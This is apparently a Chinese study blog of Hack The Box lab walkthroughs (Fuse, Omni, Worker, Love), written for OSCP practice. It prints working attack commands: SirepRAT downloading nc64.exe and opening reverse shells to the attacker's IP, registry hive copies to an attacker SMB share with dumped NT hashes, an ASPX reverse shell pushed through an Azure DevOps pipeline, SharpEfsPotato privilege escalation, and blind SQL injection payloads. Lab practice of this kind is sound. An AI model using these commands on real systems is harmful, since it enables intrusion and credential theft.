winPEASany.exe没有给我太多结果先看看其他的然后不行再去试bloodhound

SeLoadDriverPrivilege 是个有意思的东西下面这两个博客解释的很好一个原文一个复现

https://cloud.tencent.com/developer/article/1180772

https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/

也提到了为什么svc-print能登录

~~https://github.com/TarlogicSecurity/EoPLoadDriver/~~

~~eoploaddriver有编译好的了在作者的issue里 ~~~~https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2~~

~~项目地址：https://github.com/umiterkol/EoPLoadDriver_Release/releases~~

~~上面有删除线的是原文提到的原本的程序需要配合sys使用自由度很高~~

下面这个项目也是原文里提到的打包成EXE就行了

https://github.com/tandasat/ExploitCapcom/

他会弹出一个cmd窗口里面是管理员权限但很明显这不是我们想要的所以稍微改一下就行

其实就是在这个位置调用的

想执行什么改成什么就行因为svc-print在winPEASany中给我的结果是svc-print用户的目录所有人都可写所以我选择了这个目录

根据教程我要先加载才行但它提示没有这个权限？

我google这个问题就是典型的权限不够

如果直接执行的话会提示(下面这个原因就是没有加载Capcom.sys)

到了此处我才明白所有逻辑上面那个项目提示我们要加载Capcom.sys 而加载就要靠poc工具加载完成后再使用上面的exp打上去

下面这个是编译好的但很可惜我使用一直失败所以我打算自行编译

编译好的项目地址：~~https://github.com/umiterkol/EoPLoadDriver_Release/releases~~

源代码：https://github.com/TarlogicSecurity/EoPLoadDriver/

Ctrl + Alt + L 打开资源管理器

新建源文件就行

最上面有个头文件无关紧要删了就行然后切换release生成解决方案就完事了

果然自行编译的就没出问题了但是

可能是我的理解错了 svc-print目录是基于当前用户给的结果 SYSTEM还是没权限来看我打算放到公共目录

根目录test文件夹是可写的所以我打算放到里面

结束

这个靶场花了我非常多的时间评分只有3.5星可能主要是因为路上太曲折很多东西要重复而且还不是常规的但我觉得他值得一个5星这个靶场和Forest有异曲同工之妙

Forest主要是经典常规的域渗透我在学习完之后再去看Forest基本上都能理解但是这个靶场跟常规没有丝毫关系它更好的扩展了另一面比如smbpasswd远程改密码爆破的时候生成字典要多学一点参数域用户的密码一直被更改其实可以写bashshell来一直获取新密码但是我没有写在解决这三个问题时我花了太多太多时间我只能一步一步深入才能了解他背后的逻辑比如改密码我才知道他有定时任务一直在重置密码并且爆破非常慢所以我一般不喜欢爆破总归是不喜欢但是还是要经常使用爆破

提权部分是一个新的我之前没学过的他们写的博客是因为自己了解得很深所以直接用就行了导致我刚开始看完全是懵的不知道如何利用在提权利用这一块我整个人都有点发昏了从getshell到提权接收面太多尝试了非常非常多的操作所以我睡了一觉起来了之后再去尝试了解这个逻辑就非常清晰了

在后续Forest和Fuse这两个靶场我会当作复习来使用

到现在我想看看定时任务是怎么执行的同时看看其他人的wp

1

schtasks /query

第一个貌似就是重置密码的定时任务

1

schtasks /query /tn "Revert Password and Expiry" /fo LIST /v

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


Folder: \
HostName: FUSE
TaskName: \Revert Password and Expiry
Next Run Time: 11/30/2024 7:44:00 PM
Status: Ready
Logon Mode: Interactive only
Last Run Time: 11/30/2024 7:43:00 PM
Last Result: 0
Author: N/A
Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: FABRICORP\Administrator
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Minute
Start Time: 12:00:00 AM
Start Date: 6/10/2020
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 0 Hour(s), 1 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled

每分钟执行一次将bnielson和tlavel的密码改成Fabricorp01 但是这个powershell的命令貌似不全

1

schtasks /query /tn "Revert Password and Expiry" /xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
 <RegistrationInfo>
 <URI>\Revert Password and Expiry</URI>
 </RegistrationInfo>
 <Principals>
 <Principal id="Author">
 <UserId>S-1-5-21-2633719317-1471316042-3957863514-500</UserId>
 <LogonType>InteractiveToken</LogonType>
 </Principal>
 </Principals>
 <Settings>
 <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
 <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
 <IdleSettings>
 <Duration>PT10M</Duration>
 <WaitTimeout>PT1H</WaitTimeout>
 <StopOnIdleEnd>true</StopOnIdleEnd>
 <RestartOnIdle>false</RestartOnIdle>
 </IdleSettings>
 </Settings>
 <Triggers>
 <TimeTrigger>
 <StartBoundary>2020-06-10T00:00:00</StartBoundary>
 <Repetition>
 <Interval>PT1M</Interval>
 </Repetition>
 </TimeTrigger>
 </Triggers>
 <Actions Context="Author">
 <Exec>
 <Command>powershell.exe</Command>
 <Arguments>-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch
angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;</Arguments>
 </Exec>
 </Actions>
</Task>

这个就很全了将密码重置并且Set-ADUser -ChangePasswordAtLogon:$true

所以在登陆的时候一直提示需要更改密码然后再看看其他人的wp的整体思路

怪不得密码一直恢复初心是好的

我看了很多wp基本操作都一样只有这个人将获取密码做成了自动化然后在最下面执行自己想要执行的命令

16.Omni

信息收集：

rpc空密码

1
2


rpcclient -U "" -N 10.10.10.204
Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT

5985 winrm 没有账密也不行而且一般是getshell用的

8080端口需要认证我打算看一下是什么框架然后爆破目录

有个临时重定向

没有什么东西但是我在这个页面的源码里面找到一个css文件

http://10.10.10.204:8080/css/common.css

但是都没有什么东西

https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0

这个博客提示了后端可能存在一个sqlserver的web程序但是并没有任何相似的地方所以说可能并不是

1
2
3
4
5


HTTP/1.1 401 Unauthorized
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Basic realm="Windows Device Portal"
Date: Sun, 01 Dec 2024 20:32:22 GMT
Content-Length: 0

根据回包我发现这个应用程序是 Windows Device Portal 但并没有什么东西我卡了又有点久

貌似这确实没啥东西我尝试看29817 29819 29820这几个端口

nmap的结果跟我信息收集时一样没有太多什么东西有意思的是有两个端口有回复

但是我并不知道这几个都是啥东西只能google看看默认了

随着搜索的深入我找到了exp

https://github.com/SafeBreach-Labs/SirepRAT

而且非常方便

没问题是能使用的

这里我研究了非常久因为我用msfvenom生成的shell 能写进去但是执行就是不会反弹我一直以为我写入错了但好像就是无法反弹

下面这个命令告诉我了有个目录

1
2
3
4
5


python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 30, payload peek: 'b'C:\\Data\\Users\\DefaultAccount\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

而 C:\Data\Users\DefaultAccount这个目录是可写的我传了很多进去用dir来看都是没问题的

1

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " dir C:\\Data\\Users\\DefaultAccount\\" --v

但就是执行失败 powershell的一些payload我都打了都不行可以看到上面有个nc64.exe 只有这个可以

1
2


python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe"
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe" --v

上面这两个命令可以很好的解决我的问题

终于拿到shell了 Users里面没有任何flag

奇怪的是这里面貌似啥都没有像是在容器？或者虚拟机里面反正就是一个隔离的环境

也就是目前我是物理机而里面这个data目录才是虚拟机？

我几乎翻了所有目录基本上只有几个应用程序但貌似都是默认的应用程序我开始打算去吧SAM弄出来看看有没有密码因为这里的SAM文件貌似没有被占用？我直接type就能访问所以直接copy就行

1
2
3
4


smbserver.py kali . -smb2support
C:\Data\Windows\System32\config>copy .\SAM \\10.10.16.2\kali\SAM
C:\Data\Windows\System32\config>copy .\SYSTEM \\10.10.16.2\kali\SYSTEM
C:\Data\Windows\System32\config>copy .\SECURITY \\10.10.16.2\kali\SECURITY

https://blog.csdn.net/feigerger/article/details/131603338

可惜不行到这里已经是死路了我把data文件夹里的所有文件基本上都看了没见过的也google看看是什么服务都没有东西我开始看本地的目录有个PhoneProvisioner_OEM但是没什么东西

我在这里找到了密码是一个隐藏文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat

@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

好在这个密码在80端口验证成功了

我在网上并没有找到什么利用方式

我仔细看了之后发现貌似就是将这台win10上的所有信息全拿到这来了我验证的时候我确定那个密码就是administrator在计算机上的密码并不是一个虚拟的除此之外我还收获了一个wifi的密码在拿到wifi密码之后我打算传lazagne.exe去看本地存储的密码

还是再搜搜隐藏文件把依然没任何发现我尝试了很多很多方式但结果都告诉我不是这一条路我不清楚我哪一步出现了问题但至少现在看来我已经卡死了我只能去wp了解

我看完了路径在获得管理员密码上我的方法确实没有问题就是需要一直翻文件这个人列出了三种方法

第一种他提取的是注册表里的SAM和SYSTEM 而我提取的是本地文件所以啥都没有

第二种在创建管理员用户的时候会被清除而清除的脚本就是上面那个r.bat

第三种就是找到r.bat 然后读取密码前两种的密码都是HTLM加密的需要解密

登录8080端口这个WEB 没有任何问题问题就是在我没仔细去找里面的应用只看出来他貌似是web化的资源管理应用我太依赖google了 google没有给RCE的结果就以为可能是个坑我翻的有遗漏

所以这里windows在这个WDP上连接了刚刚那个本地的设备我需要在WDP上get到那个设备的shell

找到了命令执行的地方

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe

我完全看不出来权限有哪里不一样但他就是能进

老shell

新shell

data目录下的所有东西都能访问了

和root.txt一样都加密了

在查看了大量博客之后我开始尝试解密

对我帮助最大的博客：https://stackoverflow.com/questions/63639876/powershell-password-decrypt

一开始一直遇到的是上面的问题后面才发现已经读取出来的只是我显示的方式有问题我读完了上面的博客

一开始我一直读取的结果跟他这个命令行一模一样但是下面他提到了一个接口这个才是关键所以用下面的这个就行了

1
2


$creds = Import-Clixml -Path C:\data\users\administrator\root.txt
$creds.GetNetworkCredential().password

目前利用的前提是需要是创建这个加密内容的用户权限如果app文件夹里的user.txt是administrator创建的那么我当前就能解开但很可惜我调用的时候会报错无法解开这时候需要dpapi才能解开 dpapi的作用就是跨用户跨计算机来使用密码所以可以拿到那个密钥来尝试解密比如说我是administrator所以能进行解密root.txt 但是当我解密app里面的user.txt他就会报错因为我不是app用户

所以现在需要app用户的凭证其实我早该使用下面这个方法的也算是个常规方法了

1
2
3
4
5
6
7


reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv

smbserver.py kali . -smb2support

copy .\sam.hiv \\10.10.16.14\kali\sam.hiv
copy .\system.hiv \\10.10.16.14\kali\system.hiv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...

1

app:mesh5143

尝试runas貌似切换不了用户而且虽然目标开着5985端口我也用不了evil-winrm

但是用了也没效果因为这两个环境貌似并不是一样的还是需要通过8080的web服务才能进到那个nfs挂载目录中这个环境是怎么实现的我还是没有理解一个USB或者远程服务？data那个窗口还是挂载上来的等结束了好好了解一下

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe

重新传个nc到app目录之前那个app没权限访问到

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe

获取flag

1
2


$creds = Import-Clixml -Path C:\Data\Users\app\user.txt
$creds.GetNetworkCredential().password

结束

但是还有几个问题没解决

第一个：我记得在解密的时候导入那个用户的凭据貌似也能直接解密不需要切换用户

第二个：切换用户我只了解到了runas google上面也只有这一种方法看看有没有其他方法能更方便

第三个：这个环境到底是啥样的

从第一个开始来 google很久都没结果我选择问claude

第二个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred

# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"

第三个

不得不说确实niu

至此逻辑非常清晰了

1
2
3
4
5


iot core是管理层，控制对usb设备也就是data目录的访问
8080是iot core的管理接口 也就是之前说的那个Windows Device Portal
28080端口运行着主程序
通过8080端口的web解密获得凭据 才能对data目录操作
攻击者-->8080管理接口-->usb设备-->data目录

不得不说这个靶场很有特点就是windows特有的服务扩展很好

17.Worker

getshell部分卡住了仅作练习使用

信息收集：

80端口啥都没有后台挂个爆破把

3690是一个svnserve服务

https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server

这个网址里面有针对svnserve的payload 他也是这个靶场

1
2
3
4


svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder

将域名加到了hosts

拿到了源码但是他是纯前端页面估计就是给了一个提示在http://dimension.worker.htb/#work 我看到了很多子域名

点开加到hosts里同时接着爆破子域名

我加入hosts里面的好像都是纯前端页面都是来自http://html5up.net/ 针对这几个域名JSFinder.py也没给我结果

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H "Host: FUZZ.worker.htb" --hh 703

看来还是要爆破但是我一般不喜欢爆破很卡

先用cewl生成完所有域名的字典然后看一下请求包

HTLM协议的貌似有点麻烦但是右边给出了其他两种协议貌似可以用他们进行认证我google了一下

https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication

所以说是可以用Basic构造的

如果说用户名和密码都用这个字典加起来得1800*1800 太大了所以我打算去找几个用户名

所以这个框架是 Azure DevOps Server 我打算根据这个去找用户名

除此之外 ffuf还在运行他又给了我一个结果

当然也是啥也没有我开始爆破这个Azure DevOps Server 我没搜到默认用户名所以我放入了几个简单的用户名

其次我尝试爆破这个服务的目录然后同时记住svnserve 我现在还不是特别清楚这个是干啥的之前使用的都是exploit给的命令他可以查看默认页面的源码如果可以查看devops.worker.htb的源码那我感觉离目标就非常近了

我没有仔细阅读在重新看svnserve的时候这里其实他提到了

这个纯前端的源码我不知道这个有啥用在我仔细看了下命令的时候我貌似发现了盲点

1
2
3
4


svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder

目前搜到的相关信息少之又少我的理解的svn库类似于github上的它可以提交更新很多次而我也可以获得这几次更新的结果重新更新我的本地代码库至少根据我操作的结果是这样的

1

svn log svn://10.10.10.203

后面有个r1-r5 而下面这个命令我去搜了下

1

svn up -r 2

他其实是update的缩写就是将目标选定的版本更新到本地

我刚刚下载的是第一个版本我开始更新2345 来看看有什么不同

moved.txt 被delete掉了新增了一个deploy.ps1

这里我看明白了跟上一个靶场一样 powershell加密了密码

所以原文密码还是

1

nathen:wendel98

可惜的是winrm和devops.worker.htb都无法验证这个密码

我切换到了第3个更新

他只是把密码删了而已毕竟要开源

第4个更新

直接给deploy.ps1删了

第5个更新

看到这里关键点就是第2个更新那里有密码但我并不清楚我为什么一直验证失败

没错密码是有问题的再上一个靶场了解powershell加密的时候原文就是原文他加密的目的也是为了后续更好调用我拿原文应该是没问题的才对但是这里80端口winrm都告诉我鉴权失败

powershell是我的弱项我开始尝试读懂那个powershell干了什么事

在这里我了解到了 pwd他进行了简单的加密然后传递给了Credential 然后利用这个凭证去执行了

1
2
3
4
5
6
7


Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
Start-Process 开始新进程执行后面的命令
powershell.exe -Credential $Credential 调用上面的凭证
ArgumentList 传参

所以最终命令如下
powershell.exe -file Copy-Site.ps1

-file 就是将Copy-Site.ps1传入然后执行那就豁然开朗了所以目前要拿到密码需要执行

1
2
3


$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)

在我开始研究这个ps1的逻辑之前我在宿主机win11上执行了但是报错我就没管他了现在我要重新看看这个

这个加密逻辑我这个运行不了我找到了另一种方法 https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text 但是结果如下

加密就只是为了创建凭证没有其他作用他的密码就是那个至少我获得了一个账户我尝试对这个账户进行爆破因为我还有个字典

我打算bupsuite和crackmapexec同时爆破

然后接着爆破这个网站的目录爆破出了一个/bin目录为404 其他没东西

然后winrm和80的爆破也都没用这里还有机会这个密码wendel98后面有数字可以再根据这个密码再生成新密码

1

crunch 8 8 -t wendel%% > new_password.txt

这个字典也不行我以为这个靶场不用看wp了还是卡住了

没想到我卡在这里

新开了一个google终于进来了因为firefox不知道为啥也不能登录

azure devops在网上都没有漏洞这里可能要把源码下载下来在里面拿信息？因为他就是一个纯前端页面没有啥信息能拿到

这里有个文件有点意思但是打开为空我尝试去看他的history

还是没什么我目前能想到的就是上传上去的文件能正常被解析实际上并不行比如我想解析当前这个index.html 都不行我将项目拉到本地打开之后也没什么我没有一个好的想法于是尝试google

可惜的是我并没有找到任何利用方法我开始转变思路如果说azure devops能部署aspx或者asp都可以能部署的话也能getshell

我找到了微软的官方博客他的意思就是我部署完了用这个管理是没问题的无法在azure devops 这上面部署

我开始看wp 看了下一步之后我还是无法理解它是如何部署上去的毕竟刚接触这个东西

所以以下仅作学习使用因为这东西超过我理解的范畴了在之前我都是根据应用程序找RCE流程快速的了解这个程序然后RCE 但是这里并没有这种而是教我去部署跟上个靶场一模一样都是从新学习而这种应用都是特有的这是必须要学的也是困难的后续我将结合claude和其他人的wp来学习这个东西直到完全理解下面会写上我的笔记

https://www.youtube.com/watch?v=scEDHsr3APg

这个视频讲清楚了DevOps CI/CD 的工作原理

https://www.redhat.com/zh/topics/devops/what-is-ci-cd

这个稍微更详细一点

CI的意思就是当我对某个应用更改然后合并之后它就会自动部署就相当于我在刚刚的azure devops里

这里不是有很多项目吗在爆破子域名的时候已经发现了而在pipelines处

能清楚的看到部署的配置文件这个配置文件定义了这个项目该如何发布可以看到他的目标目录为 w:\sites\仓管名称.worker.htb 而这个项目仓库名为alpha

什么又是CD呢就是一个自动化的交付部署 CI说了它会自动合并项目有点像github里的push 当push到主分支的时候他会自动检查哪里加了哪里少了区别在于这里是自动化 CD在CI自动化之后会自动化部署上来也就是我们看到的网站

当你提交新的代码或修改时
Pipeline 会自动执行
CopyFiles 任务会将文件复制到对应目录
IIS 服务器会自动识别这个目录作为一个新的网站

至此思路理论部分清晰了

1.创建新项目

2.创建代码仓库，初始化仓库或者导入现有代码

3.创建Pipeline 选择代码来源就是刚刚的仓库就行选择 “Starter pipeline” 或已有模板

4.配置Pipeline yaml 也就是上面看到的配置文件

5.保存Pipeline设置 Run Pipeline进行第一次部署

6.至此之后每一次向master或者main推送分支的时候 Pipeline都会自动运行并部署网站

这个也有点像github的actions 参考的博客如下

https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html

原理了解了之后该尝试实操了 git命令我本身不是很熟悉在之前尝试push过很多次项目虽然后续成功了但仍然不太熟练这些命令这可以靠这个靶场来学习

我目前的想法是用一次命令的一次web页面GUI操作的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


# git 我将alpha项目clone到本地 加上一个文件 再push上去 应该就可以了
git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha

# Cloning into 'alpha'...
# Username for 'http://devops.worker.htb': nathen
# Password for 'http://nathen@devops.worker.htb':
# remote: Azure Repos
# remote: Found 54 objects to send. (51 ms)
# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.

# 这次我不打算使用msfvenom生成shell 而是结合其他人看看他们的方法
# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com 我打算用这个
# 在alpha项目放入了shell.aspx
# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main

报错了提示我没有权限去push到master 这是一个常见的安全措施后续通过其他人的操作我也了解到了一个机制

pull request

至此攻击链完善了我无法直接push到master并利用pipeline发布部署项目我需要新建分支然后利用pull requests机制请求合并到master 当master中出现我创建的shell.aspx的时候就可以自动化发布了

1
2
3
4


# 在本地新建分支
git checkout -b branch2
# push的时候新建分支并push过去
git push --set-upstream origin branch2

已经存在了这里我本来想用命令行走完全程我去搜了关于pull request的命令方法但是并没有这样的命令后续只能靠web页面也实现也方便

直接create就行

这里我们需要添加一个审核人和工作项

加上自己为审核人再加一个工作项就行

点击 complete merge之后他会进行合并

合并完成之后可以看到创建的shell.aspx已经传上去了

能访问现在尝试web页面创建分支(这个创建分支简单太多了就不写出来了)

最终拿到了shell

开始提权

可以用烂土豆提权了

尝试了几个只有这个可以 public目录是可写的所以我的操作都在public目录

https://github.com/bugch3ck/SharpEfsPotato

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " whoami | Set-Content C:\Users\Public\w.log"

没问题尝试反弹shell

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe"

结束

这个靶场很有意思让我学习到了更多的git操作之前在github上自己操作上传东西只了解到了一点东西而这个靶场扩展出来让我了解了 svn azure devops git操作扩展方面做的非常好只是我在打靶期间还是看了两次wp 第一次登陆不上去第二次不清楚这个到底是啥完全是懵的状态完完全全看了wp 并且寻求了ai的帮助这在oscp考试中是不允许的我不确定我在考试中会不会像这样遇到我完全没了解过的应用但我能做的就是在遇到这个之后我通过wp google ai 来完完全全的了解了他的逻辑但是我还是需要训练我在第一次遇到一个应用时快速去学习并去了解他在omni和worker靶场之前都有专门的RCE的流程有很多人都发布了针对某个应用的RCE流程但是最近这两个 omni和worker并没有这样他就是一个正常服务我无法根据在应用名称后面加上exp RCE getshell等等词汇来获取我想了解的东西

值得一提的是像IIS和MSSQL这种权限貌似都有SeImpersonatePrivilege权限所以看到这两个用户时可以第一时间去找whoami /priv 然后烂土豆提权

18.Love

信息收集：

smb

rpc

mysql

就算有密码也连不上

80端口登陆界面

443端口403可能走的时80的认证在去访问

http://10.10.10.239/admin/index.php

http://10.10.10.239/index.php

这个两个页面的接口不一样主页要的是ID 而admin里的要的是username

目录穿越漏洞

框架信息如上

貌似并不存在

这个web用的也不是某个框架搭建的所以我只能找它存在的某个组件的漏洞

这是一个投票系统我基本上能确定在user登录那里肯定存在弱口令他要的是编号我并不清楚编号的逻辑是什么但我能确定一个投票系统人肯定很多密码弱口令是存在的但是编号起点我并不知道我开始尝试最简单的组合 id从1-10000 密码 password Password 123456 admin123 来尝试爆破

xampp 绝对路径是有了

还真有exp 但是他要账号和密码

靶场21年5月1号发布的而这个exp是1月19号发布的所以没问题但是这个exp没有给我太多信息如果能进后台其实我也能找rce的方法的

这个EXP给了目标的源码果然是一样的我将源码下载了下来

https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code

我不相信的是它可能是要我自己挖漏洞

这个sql注入的漏洞也太明显了网上是搜不到相关的exp 但是看源码就豁然开朗了

不出意外admin的login也是这样

密码这里没办法我不能直接绕过登录所以这里只能用注入拿信息为了验证这里是否存在漏洞就是是否跟源码一样存在漏洞而不是被修复了我进行了验证

输入1为用户名它提示找不到这个用户

输入1’ or 1=1#的时候它提示

密码错误这里在我看来有三条路

第一条是盲注但是都知道盲注很浪费时间他的回显都是写死了的所以只能盲注但是缺点就是非常慢优点就是我已经直到后台有RCE的洞了拿到账户去后台RCE

第二条也是我想走的一条路直接查询权限如果说root或者其他有创建用户权限或者是管理员权限的话就在创建一个允许远程访问的用户就行

第三条直接写shell 绝对路径我已经有了再去查一下有没有写入的权限就行

第二条兼顾第一条也兼顾第三条所以我打算看看能不能创建用户

localtion会直接重定向但是当我访问这个接口的时候他会完完全全的查询出来而不会导致延时注入失效

很快我还是发现了一个问题

当返回值为空的时候就是会报错其实这也没什么因为上面已经执行了这里我只能走第一条路了现在这种情况盲注拿到账号和密码比其他这几种方法简单多了而且我已经有了一个后台RCE 而目前要确定账号是否正确

他的验证逻辑也有很意思这个接口处如果我的密码错了它会将我的session记录数据库中

然后我再携带这个session去访问index.php的时候

就会有回显了用户名可以用这个注入密码就不行了如果说我知道任何一个密码那么我也可以登陆成功比如我在投票者的登陆页面试了一个密码就进来了

poc在结尾

库名

第一个username长度为5

没有第二个username

账号就不用爆破了已经测出来是admin了

’ AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND ‘hBVQ’=‘hBVQ

但是我依然把这个写到了脚本里

结构在源码里都有但是我想验证一下

’ AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=“admin”))=60,5,0))))WYpt) AND ‘hBVQ’=‘hBVQ

60个字符其实这个在源码里也有就是再验证一下

爆密码太花时间了这里省略一段时间

运行到这里直接报错了在我漫长的等待期间我尝试去看我这一步是否正确但实际上没有人和我的路一样

就算我拿到了密码加密后的也需要去撞才行而rockyou里没有这个密码一直爆破导致我跟靶机的连接也很卡 poc还是放到最后把

其他的方法getshell的方法也是我看到wp才了解到的而这个非常方便

看证书算是一个常规的思路了而我当时没有去查看证书算是一个重大失误了这里有个域名加到hosts里

这里有个demo

SSRF 可以考这个请求本地的服务看看有没有上面开着的

在http:127.0.0.1:5000找到了密码

进入了后台根据之前RCE的教程直接去找/voters_add.php接口

新建传上去文件就行了文件名不变

我用nc把shell弹回来了

开始提权

systeminfo whoami/priv 没有东西

winPEASany有几个有意思的至少红色部分我都该注意

源文件貌似不在了

没什么用我还找不到它

经过认证的用户可以在c盘根目录创建目录和写入文件

c:\administration也是一样的

https://developer.aliyun.com/article/1227455

这个博客关于这个漏洞验证部分可以参考

1

powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md

https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90

